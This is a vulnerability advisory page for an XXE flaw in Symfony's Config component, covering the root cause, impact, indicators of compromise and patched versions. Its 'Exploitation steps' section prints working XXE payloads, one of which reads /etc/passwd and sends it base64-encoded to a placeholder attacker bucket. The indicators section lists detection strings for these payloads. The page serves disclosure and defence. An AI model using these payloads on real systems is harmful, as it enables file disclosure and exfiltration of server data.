Vulnerability DatabaseCVE-2026-123824

CVE-2026-123824: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-123824 is an XML External Entity (XXE) injection vulnerability in the Symfony Config component's XmlUtils::parse() method, caused by enabling DTD validation ($dom->validateOnParse = true) before rejecting documents with a doctype. This allows a remote attacker who can supply XML to the method to probe for local file existence, trigger denial of service, and — in some configurations — exfiltrate local file content. Affected versions include Symfony prior to 5.4.56, 6.x prior to 6.4.50, 7.x prior to 7.4.23, and 8.x prior to 8.1.11. It carries a CVSS v3.1 base score of 6.3 (Medium) and a CVSS v4.0 base score of 2.3 (Low) (GitHub Advisory, Feedly). The vulnerability was published on November 6, 2026, and is classified as the same defect as CVE-2026-45071, which was previously fixed in the DomCrawler component but not in Config (GitHub Advisory).

Technical details

The root cause (CWE-611: Improper Restriction of XML External Entity Reference) lies in XmlUtils::parse() setting $dom->validateOnParse = true immediately before calling loadXML(), which causes libxml to resolve external entities during XML loading — before the subsequent doctype rejection check can run. While LIBXML_NONET blocks http:// URIs, it does not block file:// URIs, so a crafted XML document with a doctype declaring a file:// external entity will have that entity read from disk before the exception is thrown. A parameter entity can also read a local file via php://filter and embed its content into a second entity's URL; if the application registers a network-capable stream wrapper (e.g., s3://), the file content can be sent to an external server. Exploitation requires the attacker to control XML input passed to XmlUtils::parse(), which is only possible in applications that expose this method to untrusted input — the built-in Symfony callers (DependencyInjection, Routing, Validator, Serializer loaders) consume trusted developer configuration (GitHub Advisory, Symfony Commit).

Impact

Successful exploitation enables an attacker to determine whether arbitrary local files exist on the server (file-existence oracle via distinct libxml error messages), cause denial of service by pointing an entity at a large or slow file, and — if the application registers a network-capable stream wrapper such as s3:// — exfiltrate the content of local files to an external server. The DOM is never returned to the caller (the doctype rejection throws an exception), so direct content disclosure through the API response is not possible without a network-capable wrapper. Integrity impact is low and limited to the vulnerable system; there is no lateral movement risk inherent to this vulnerability (GitHub Advisory, Feedly).

Exploitability

As of the disclosure date, there are no known public proof-of-concept exploits, no evidence of in-the-wild exploitation, and no threat actor attribution (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.272%, reflecting low near-term exploitation probability. Exploitation is further constrained by the requirement that the attacker control XML input passed directly to XmlUtils::parse(), which is not the case for standard Symfony framework usage (GitHub Advisory).

Exploitation steps

  1. Identify a vulnerable endpoint: Locate a Symfony application (versions prior to 5.4.56, 6.4.50, 7.4.23, or 8.1.11) that passes attacker-controlled XML directly to Symfony\Component\Config\Util\XmlUtils::parse().
  2. Craft a malicious XML document: Construct an XML payload with a DOCTYPE declaration that defines an external entity referencing a local file via file://, for example:
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
  3. Submit the payload: Send the crafted XML to the vulnerable application endpoint that invokes XmlUtils::parse().
  4. Probe file existence: Observe the libxml error response — a missing file yields failed to load external entity "file:///...", while a present but malformed file yields parsing errors attributed to that file, confirming its existence.
  5. Trigger DoS (optional): Point the external entity at a large or slow file (e.g., /dev/urandom or a network-mounted slow resource) to exhaust server resources.
  6. Exfiltrate file content (if network-capable wrapper is registered): If the application registers a stream wrapper such as s3://, use a parameter entity with php://filter to encode and embed local file content into the URL of a second entity pointing to the attacker-controlled external server:
    <!DOCTYPE foo [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % eval "<!ENTITY exfil SYSTEM 's3://attacker-bucket/%file;'>">%eval;]><root>&exfil;</root>
    (GitHub Advisory)

Indicators of compromise

  • Logs: PHP/web server error logs containing libxml messages such as failed to load external entity "file:///..." or Premature end of data in tag attributed to local file paths, which indicate external entity resolution attempts.
  • Logs: Application logs showing XmlParsingException with message Document types are not allowed. triggered by requests containing DOCTYPE declarations in XML input.
  • Network: Unexpected outbound connections from the web server to cloud storage endpoints (e.g., S3, GCS) or other external hosts originating from the PHP/Symfony process, potentially carrying base64-encoded data in URL paths — indicative of file exfiltration via registered stream wrappers.
  • Application Input: XML request bodies containing <!DOCTYPE, <!ENTITY, SYSTEM "file://, or php://filter strings submitted to endpoints that process XML configuration or translation files. (GitHub Advisory)

Mitigation and workarounds

The fix removes the $dom->validateOnParse = true; line from XmlUtils::parse(), preventing libxml from resolving external entities during XML loading. Patched versions are 5.4.56, 6.4.50, 7.4.23, and 8.1.11 — users should upgrade to the appropriate patched release via Composer (composer update symfony/config). No configuration-based workaround is available short of upgrading; as an interim measure, applications should avoid passing untrusted XML directly to XmlUtils::parse() (GitHub Advisory, Symfony Commit).

Community reactions

The vulnerability was reported by Prithiv Kumaravel (ProjectDiscovery) and Björn Meyer from Shopware AG, and the advisory was published by Symfony maintainer fabpot (GitHub Advisory). The advisory explicitly notes the low severity rating, consistent with the prior CVE-2026-45071 fix in the DomCrawler component, and emphasizes that standard Symfony framework usage is not exposed to untrusted XML input through this code path. No significant broader media coverage or social media discussion has been identified at this time.

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

bookworm

symfony

Affected

sid

symfony: 7.4.23+dfsg-1

Fixed

trixie

symfony

Affected

Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-122053MEDIUM6.9
  • PHP logoPHP
  • symfony/serializer
NoYesNov 06, 2026
GHSA-526c-px8p-72x8MEDIUM4.3
  • PHP logoPHP
  • spomky-labs/otphp
NoYesNov 07, 2026
CVE-2026-123824LOW2.3
  • PHP logoPHP
  • symfony/config
NoYesNov 06, 2026
GHSA-h38w-h2gf-6qv2LOWN/A
  • PHP logoPHP
  • spomky-labs/otphp
NoYesNov 07, 2026
GHSA-4v5c-4hwq-6f6mMEDIUMN/A
  • PHP logoPHP
  • spomky-labs/otphp
NoYesNov 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management